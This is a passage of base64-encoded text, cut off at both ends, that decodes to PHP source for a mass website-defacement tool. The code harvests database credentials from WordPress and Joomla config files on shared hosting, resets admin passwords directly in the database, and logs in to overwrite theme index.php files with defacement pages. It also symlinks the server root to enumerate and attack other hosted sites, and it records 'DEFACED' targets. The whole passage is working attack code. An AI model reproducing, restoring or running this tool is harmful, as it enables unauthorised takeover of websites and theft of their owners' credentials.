lcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KY3VybF9jbG9zZSgkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkZCBjbGFzcz0ibWVzc2FnZSBtZXNzYWdlIGZhZGUiPicpOw0KJGNvbmQgPSAwOw0KaWYoJHBvcyA9PT0gZmFsc2UpIHsNCiRvdXRwdXQuPSAiWy1dIFVwZGF0aW5nIEluZGV4LnBocCBFcnJvcjxiciAvPiI7DQp9IGVsc2Ugew0KJG91dHB1dC49ICJbK10gSW5kZXgucGhwIFRlbXBsYXRlIHN1Y2Nlc3NmdWxseSBzYXZlZDxiciAvPiI7DQokY29uZCA9IDE7DQp9DQp9DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIGdsb2JhbCAkYmFzZV9wYXRoOw0KICAgIHVubGluaygkYmFzZV9wYXRoLiRjbyk7DQogICAgcmV0dXJuIGFycmF5KCdjb25kJz0+JGNvbmQsICdvdXRwdXQnPT4kb3V0cHV0ICwgJ3RlbXBsYXRlJz0+JHRlbXBsYXRlX25hbWUpOyANCn0NCg0KDQovLyB3b3JkcHJlc3MgaW5kZXggY2hhbmdlcg0KDQpmdW5jdGlvbiBpbmRleF9jaGFuZ2VyX3dwKCRjb25mLCAkaW5kZXgpIHsNCiRkb2wgPSAnJCc7DQokcHJlaW5kZXggPSAiPD9waHANCiIuJGRvbC4iZGVmID0gZmlsZV9nZXRfY29udGVudHMoJyIuJGluZGV4LiInKTsNCiIuJGRvbC4icCA9IGV4cGxvZGUoJ3B1YmxpY19odG1sJyxkaXJuYW1lKF9fRklMRV9fKSk7DQoiLiRkb2wuInAgPSAiLiRkb2wuInBbMF0uJ3B1YmxpY19odG1sJzsNCmlmICgiLiRkb2wuImhhbmRsZSA9IG9wZW5kaXIoIi4kZG9sLiJwKSkgew0KICAgICIuJGRvbC4icDEgPSBAZm9wZW4oIi4kZG9sLiJwLicvaW5kZXguaHRtbCcsJ3crJyk7DQogICAgQGZ3cml0ZSgiLiRkb2wuImZwMSwgIi4kZG9sLiJkZWYpOw0KICAgICIuJGRvbC4icDEgPSBAZm9wZW4oIi4kZG9sLiJwLicvaW5kZXgucGhwJywndysnKTsNCiAgICBAZndyaXRlKCIuJGRvbC4iZnAxLCAiLiRkb2wuImRlZik7DQogICAgIi4kZG9sLiJmcDEgPSBAZm9wZW4oIi4kZG9sLiJwLicvaW5kZXguaHRtJywndysnKTsNCiAgICBAZndyaXRlKCIuJGRvbC4iZnAxLCAiLiRkb2wuImRlZik7DQogICAgZWNobyAnRG9uZSc7DQp9DQpjbG9zZWRpcigiLiRkb2wuImhhbmRsZSk7DQp1bmxpbmsoX19GSUxFX18pOw0KPz4iOw0KJGNvbnRlbnQgPSBiYXNlNjRfZW5jb2RlKCRwcmVpbmRleCk7DQogICAgJG91dHB1dCA9ICcnOw0KICAgICRkb2wgPSAnJCc7DQogICAgJGdvID0gMDsNCiAgICAkdXNlcm5hbWUgPSB0dW5pc2lhKCRjb25mLCJkZWZpbmUoJ0RCX1VTRVInLCAnIiwiJyk7Iik7DQogICAgJHBhc3N3b3JkID0gdHVuaXNpYSgkY29uZiwiZGVmaW5lKCdEQl9QQVNTV09SRCcsICciLCInKTsiKTsNCiAgICAkZGJuYW1lID0gdHVuaXNpYSgkY29uZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOw0KICAgICRwcmVmaXggPSB0dW5pc2lhKCRjb25mLCRkb2wuInRhYmxlX3ByZWZpeCAgPSAnIiwiJyIpOw0KICAgICRob3N0ID0gdHVuaXNpYSgkY29uZiwiZGVmaW5lKCdEQl9IT1NUJywgJyIsIicpOyIpOw0KDQogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKTsNCiAgICBpZigkbGluaykgew0KICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwkbGluaykgOw0KICAgICAgICAkZG9sID0gJyQnOw0KICAgICAgICAkcmVxMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHByZWZpeC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSAnYWRtaW4nLGB1c2VyX3Bhc3NgID0gJzQyOTdmNDRiMTM5NTUyMzUyNDViMjQ5NzM5OWQ3YTkzJyBXSEVSRSBgSURgID0gMSIpOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRvdXRwdXQuPSAiWy1dIERCIEVycm9yPGJyIC8+IjsNCiAgICB9DQogICAgaWYoJHJlcTEpIHsNCg0KICAgICAgICAkcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOw0KICAgICAgICAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KICAgICAgICAkc2l0ZV91cmw9JGRhdGFbIm9wdGlvbl92YWx1ZSJdOyANCg0KICAgICAgICAkcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSd0ZW1wbGF0ZSciKTsNCiAgICAgICAgJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiAgICAgICAgJHRlbXBsYXRlID0gJGRhdGFbIm9wdGlvbl92YWx1ZSJdOw0KDQogICAgICAgICRyZXEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJHByZWZpeC4ib3B0aW9uc2AgV0hFUkUgb3B0aW9uX25hbWU9J2N1cnJlbnRfdGhlbWUnIik7DQogICAgICAgICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQogICAgICAgICRjdXJyZW50X3RoZW1lID0gJGRhdGFbIm9wdGlvbl92YWx1ZSJdOw0KDQogICAgICAgICR1c2VyYWdlbnQ9Ik1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDcuMGI7IFdpbmRvd3MgTlQgNS4xOyAuTkVUIENMUiAxLjEuNDMyMjsgQWxleGEgVG9vbGJhcjsgLk5FVCBDTFIgMi4wLjUwNzI3KSI7DQogICAgICAgICR1cmwyPSRzaXRlX3VybC4iL3dwLWxvZ2luLnBocCI7DQoNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywibG9nPWFkbWluJnB3ZD0xMjMxMjMmcmVtZW1iZXJtZT1mb3JldmVyJndwLXN1Ym1pdD1Mb2cgSW4mdGVzdGNvb2tpZT0xIik7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICJDT09LSUUudHh0Iik7DQogICAgICAgICRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KICAgICAgICAkcG9zID0gc3RycG9zKCRidWZmZXIsImFjdGlvbj1sb2dvdXQiKTsNCiAgICAgICAgaWYoJHBvcyA9PT0gZmFsc2UpIHsNCiRvdXRwdXQuPSAiWy1dIExvZ2luIEVycm9yPGJyIC8+IjsNCiAgICAgICAgfSBlbHNlIHsNCiRvdXRwdXQuPSAiWytdIExvZ2luIFN1Y2Nlc3NmdWw8YnIgLz4iOw0KJGdvID0gMTsNCiAgICAgICAgfQ0KICAgICAgICBpZigkZ28pIHsNCiRjb25kID0gMDsNCiR1cmwyPSRzaXRlX3VybC4iL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHA/ZmlsZT0vdGhlbWVzLyIuJHRlbXBsYXRlLicvaW5kZXgucGhwJnRoZW1lPScudXJsZW5jb2RlKCRjdXJyZW50X3RoZW1lKS4nJmRpcj10aGVtZSc7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCiRidWZmZXIwID0gY3VybF9leGVjKCRjaCk7DQoNCiRfd3Bub25jZSA9IHR1bmlzaWEoJGJ1ZmZlcjAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJfd3Bub25jZSIgbmFtZT0iX3dwbm9uY2UiIHZhbHVlPSInLCciIC8+Jyk7DQokX2ZpbGUgPSB0dW5pc2lhKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpOw0KDQppZihzdWJzdHJfY291bnQoJF9maWxlLCIvaW5kZXgucGhwIikgIT0gMCl7DQokb3V0cHV0Lj0gIlsrXSBpbmRleC5waHAgbG9hZGVkIGluIFRoZW1lIEVkaXRvcjxiciAvPiI7DQokdXJsMj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJuZXdjb250ZW50PSIuYmFzZTY0X2RlY29kZSgkY29udGVudCkuIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bub25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOw0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KY3VybF9jbG9zZSgkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkaXYgaWQ9Im1lc3NhZ2UiIGNsYXNzPSJ1cGRhdGVkIj4nKTsNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQokb3V0cHV0Lj0gIlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3I8YnIgLz4iOw0KfSBlbHNlIHsNCiRvdXRwdXQuPSAiWytdIEluZGV4LnBocCBVcGRhdGVkIFN1Y2Nlc3NmdWx5PGJyIC8+IjsNCiRoayA9IGV4cGxvZGUoJ3B1YmxpY19odG1sJywkX2ZpbGUpOw0KJG91dHB1dC49ICdbK10gRGVmYWNlICcuZmlsZV9nZXRfY29udGVudHMoJHNpdGVfdXJsLnN0cl9yZXBsYWNlKCcvYmxvZycsJycsJGhrWzFdKSk7DQokY29uZCA9IDE7DQp9DQp9IGVsc2Ugew0KJHVybDI9JHNpdGVfdXJsLicvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxlPWluZGV4LnBocCZ0aGVtZT0nLiR0ZW1wbGF0ZTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCiRidWZmZXIwID0gY3VybF9leGVjKCRjaCk7DQoNCiRfd3Bub25jZSA9IHR1bmlzaWEoJGJ1ZmZlcjAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJfd3Bub25jZSIgbmFtZT0iX3dwbm9uY2UiIHZhbHVlPSInLCciIC8+Jyk7DQokX2ZpbGUgPSB0dW5pc2lhKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpOw0KDQppZihzdWJzdHJfY291bnQoJF9maWxlLCJpbmRleC5waHAiKSAhPSAwKXsNCiRvdXRwdXQuPSAiWytdIGluZGV4LnBocCBsb2FkZWQgaW4gVGhlbWUgRWRpdG9yPGJyIC8+IjsNCiR1cmwyPSRzaXRlX3VybC4iL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHAiOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIm5ld2NvbnRlbnQ9Ii5iYXNlNjRfZGVjb2RlKCRjb250ZW50KS4iJmFjdGlvbj11cGRhdGUmZmlsZT0iLiRfZmlsZS4iJnRoZW1lPSIuJHRlbXBsYXRlLiImX3dwbm9uY2U9Ii4kX3dwbm9uY2UuIiZzdWJtaXQ9VXBkYXRlIEZpbGUiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCmN1cmxfY2xvc2UoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGl2IGlkPSJtZXNzYWdlIiBjbGFzcz0idXBkYXRlZCI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KICAgICRvdXRwdXQuPSAiWy1dIFVwZGF0aW5nIEluZGV4LnBocCBFcnJvcjxiciAvPiI7DQp9IGVsc2Ugew0KICAgICRvdXRwdXQuPSAiWytdIEluZGV4LnBocCBUZW1wbGF0ZSBVcGRhdGVkIFN1Y2Nlc3NmdWx5PGJyIC8+IjsNCgkkb3V0cHV0Lj0gJ1srXSBEZWZhY2UgJy5maWxlX2dldF9jb250ZW50cygkc2l0ZV91cmwuJy93cC1jb250ZW50L3RoZW1lcy8nLiR0ZW1wbGF0ZS4nL2luZGV4LnBocCcpOw0KICAgICRjb25kID0gMTsNCn0NCn0gZWxzZSB7DQokb3V0cHV0Lj0gIlstXSBpbmRleC5waHAgY2FuIG5vdCBsb2FkIGluIFRoZW1lIEVkaXRvcjxiciAvPiI7DQp9DQp9DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIGdsb2JhbCAkYmFzZV9wYXRoOw0KICAgIHVubGluaygkYmFzZV9wYXRoLidDT09LSUUudHh0Jyk7DQogICAgcmV0dXJuIGFycmF5KCdjb25kJz0+JGNvbmQsICdvdXRwdXQnPT4kb3V0cHV0ICwgJ3RlbXBsYXRlJz0+ICR0ZW1wbGF0ZSk7DQp9DQoNCmlmKCRfUE9TVFsnbW9kZSddPT0yKSB7DQovLyBzeW1saW5raW5nIA0KQG1rZGlyKCdzeW0nLDA3NzcpOw0KJGh0YWNjZXNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCmZpbGVfcHV0X2NvbnRlbnRzKCJzeW0vLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOw0KQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KDQoNCi8vIGdldHRpbmcgc2l0ZXMgZnJvbSAoL3Zhci9uYW1lZCkgZmlsZQ0KJG5hbWVkPWZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4nL3N5bS9yb290L3Zhci9uYW1lZC8nKTsNCiRhciA9IGV4cGxvZGUoJzxsaT48YSBocmVmPSInLCAkbmFtZWQpOw0KZm9yKCR2aT0yOyR2aSA8IGNvdW50KCRhcik7JHZpKyspDQogICAgIHsNCiR2YXIxID0gc3RydG9rKCRhclskdmldLCAiICIpOw0KJHZhcjEgPSBzdWJzdHIoJHZhcjEsMCwtMik7DQokb2xkPSgnLmRiJyk7DQokbmV3PSgnJyk7DQokc2l0ZXMgPSBzdHJfcmVwbGFjZSgkb2xkICwgJG5ldyAsICR2YXIxKTsNCmZpbGVfcHV0X2NvbnRlbnRzKCdzaXRlcy50eHQnLCRzaXRlcyk7DQp9DQoNCi8vIGdldHRpbmcgdXNlcm5hbWVzDQokZG9tYWlucz1maWxlKCdzaXRlcy50eHQnKTsNCmZvcmVhY2ggKCRkb21haW5zIGFzICRkb21haW4pIHsNCiRvcmRlcj0oImxzIC1sYSAvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbik7DQokZXhlYz1leGVjKCRvcmRlcik7DQokZmlsZW5hbWUgPSAnbWFpbC50eHQnOw0KJGZwID0gZm9wZW4oJGZpbGVuYW1lLCAiYSsiKTsNCiR3cml0ZSA9IGZwdXRzKCRmcCwgJGV4ZWMuIlxuIik7DQpmY2xvc2UoJGZwKTsNCn0NCg0KJG1haWw9ZmlsZSgnbWFpbC50eHQnKTsNCmZvcmVhY2ggKCRtYWlsIGFzICRmaW5hbGRvbSkgew0KJHVzZXI9dHVuaXNpYSgkZmluYWxkb20sIi1ydy1yLS0tLS0gMSAiLCIgbWFpbCIpOw0KJHNpdGU9c3Vic3RyKHN0cnN0cigkZmluYWxkb20sICcvZXRjL3ZhbGlhc2VzJyksMTQpOw0KDQokZmlsZW5hbWUgPSAndXNlcmRvbS50eHQnOw0KJGZwID0gZm9wZW4oJGZpbGVuYW1lLCAiYSsiKTsNCiR3cml0ZSA9IGZwdXRzKCRmcCwgJHVzZXIuIjoiLiAkc2l0ZS4iICIpOw0KZmNsb3NlKCRmcCk7DQoNCn0NCg0KJGY9ZmlsZV9nZXRfY29udGVudHMoJ3VzZXJkb20udHh0Jyk7DQokZmluYWxzPWV4cGxvZGUoIiAiLCRmKTsNCmZvcmVhY2ggKCRmaW5hbHMgYXMgJGZpbmFsKXsNCiRzdHJsZW49KCc2Jyk7DQokZHI9c3RybGVuICgkZmluYWwpOw0KaWYgKCRkciA8ICRzdHJsZW4pIHsNCiRmaWxlbmFtZSA9ICdmYWlsLnR4dCc7DQokZnAgPSBmb3BlbigkZmlsZW5hbWUsICJhIik7DQokd3JpdGUgPSBmcHV0cygkZnAsICRmaW5hbCk7DQpmY2xvc2UoJGZwKTsNCn0NCmVsc2Ugew0KJGZpbGVuYW1lID0gJ3N1Y2Nlc3MudHh0JzsNCiRmcCA9IGZvcGVuKCRmaWxlbmFtZSwgImEiKTsNCiR3cml0ZSA9IGZwdXRzKCRmcCwgJGZpbmFsLiJcbiIpOw0KZmNsb3NlKCRmcCk7DQp9DQp9DQoNCi8vIG5vdyB0byB3b3JrDQokaW5kZXg9JF9QT1NUWyd0dW5pc2lhJ107DQokdXJsPSgkYmFzZV91cmwpOw0KJGE9ZmlsZSgkYmFzZV91cmwuJy9zdWNjZXNzLnR4dCcpOw0KZWNobyAoIjxjZW50ZXI+PHRhYmxlIGNsYXNzPSdyZXN1bHQnIHdpZHRoPScxMDAlJyBib3JkZXI9MSBjZWxsc3BhY2luZz0xIGNlbGxwYWRpbmc9MT4gIA0KPHRyPjx0aCB3aWR0aD01MCU+ZG9tYWluPC90ZD48dGggd2lkdGg9MjUlPlR5cGU8L3RkPjx0aCB3aWR0aD0yNSU+U3RhdHVzPC90ZD48L3RyPiIpOw0KJGtoYWxlZCA9IGZvcGVuKCdkZWZhY2VkLmh0bWwnLCAnYSsnKTsNCmZvcmVhY2ggKCRhIGFzICRmaW5hbCkgew0KbGlzdCgkdXNlciwgJHNpdGVfdXJsKSA9IGV4cGxvZGUoIjoiLCAkZmluYWwpOw0KJHNpdGVfdXJsdG8gPSBzdWJzdHIoJHNpdGVfdXJsLCAwLCAtMSk7DQovLyBqb29tbGEgc3ltbGlua3MNCiRqb29tbGE9JHVybC4iL3N5bS9yb290L2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiRqb29tbGEyPSR1cmwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAiOw0KJGpvb21sYTM9JHVybC4iL3N5bS9yb290L2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAiOw0KLy8gd29yZHByZXNzIHN5bWxpbmtzDQokd29yZHByZXNzPSR1cmwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIjsNCiR3b3JkcHJlc3MyPSR1cmwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAiOw0KJHdvcmRwcmVzczM9JHVybC4iL3N5bS9yb290L2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAiOw0KDQovLyBmaXJzdCBqb29tbGEgZ3Vlc3MNCmlmKCRqb29tbGEgJiYgcHJlZ19tYXRjaCgnL2RicHJlZml4L2knLCRqb29tbGEpKXsNCmVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iaHR0cDovLycuJHNpdGVfdXJsdG8uJyIgdGFyZ2V0PSJibGFuayI+Jy4kc2l0ZV91cmx0by4nPC9hPjwvdGQ+JzsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBjb2xvcj0icGluayI+Sk9PTUxBPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX2pvb21sYSgkam9vbWxhLCAkaW5kZXgsICRzaXRlX3VybHRvKTsNCmVjaG8gJzx0ZD4nLiRyZXNbJ291dHB1dCddLic8L3RkPic7DQppZigkcmVzWydjb25kJ10pIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0iZ3JlZW4iPkRFRkFDRUQ8L3NwYW4+PC90ZD4nOw0KZndyaXRlKCRraGFsZWQsICdodHRwOi8vJy4kc2l0ZV91cmx0by4nL3RlbXBsYXRlcy8nLiRyZXNbJ3RlbXBsYXRlJ10uJy9pbmRleC5waHA8YnI+Jyk7DQokY291bnQxID0gJGNvdW50MSsxOw0KfSBlbHNlIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KLy8gc2Vjb25kIGpvb21sYSBndWVzcw0KaWYoJGpvb21sYTIgJiYgcHJlZ19tYXRjaCgnL2RicHJlZml4L2knLCRqb29tbGEyKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRzaXRlX3VybHRvLiciIHRhcmdldD0iYmxhbmsiPicuJHNpdGVfdXJsdG8uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InBpbmsiPkpPT01MQTwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl9qb29tbGEoJGpvb21sYTIsICRpbmRleCwgJHNpdGVfdXJsdG8pOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJGtoYWxlZCwgJ2h0dHA6Ly8nLiRzaXRlX3VybHRvLicvam9vbWxhLycuJHJlc1sndGVtcGxhdGUnXS4nL2luZGV4LnBocDxicj4nKTsNCiRjb3VudDEgPSAkY291bnQxKzE7DQp9IGVsc2Ugew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJyZWQiPkZBSUxFRDwvc3Bhbj48L3RkPic7DQp9DQplY2hvICc8L3RyPic7DQp9DQovLyB0aGlyZCBqb29tbGEgZ3Vlc3MNCmlmKCRqb29tbGEzICYmIHByZWdfbWF0Y2goJy9kYnByZWZpeC9pJywkam9vbWxhMykpew0KZWNobyAnPHRyPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kc2l0ZV91cmx0by4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRzaXRlX3VybHRvLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJwaW5rIj5KT09NTEE8L2ZvbnQ+PC90ZD4nOw0KJHJlcyA9IGluZGV4X2NoYW5nZXJfam9vbWxhKCRqb29tbGEzLCAkaW5kZXgsICRzaXRlX3VybHRvKTsNCmVjaG8gJzx0ZD4nLiRyZXNbJ291dHB1dCddLic8L3RkPic7DQppZigkcmVzWydjb25kJ10pIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0iZ3JlZW4iPkRFRkFDRUQ8L3NwYW4+PC90ZD4nOw0KZndyaXRlKCRraGFsZWQsICdodHRwOi8vJy4kc2l0ZV91cmx0by4nL3NpdGUvJy4kcmVzWyd0ZW1wbGF0ZSddLicvaW5kZXgucGhwPGJyPicpOw0KJGNvdW50MSA9ICRjb3VudDErMTsNCn0gZWxzZSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+RkFJTEVEPC9zcGFuPjwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCn0NCg0KLy8gZmlyc3Qgd29yZHByZXNzIGd1ZXNzDQppZigkd29yZHByZXNzICYmIHByZWdfbWF0Y2goJy9EQl9OQU1FL2knLCR3b3JkcHJlc3MpKXsNCmVjaG8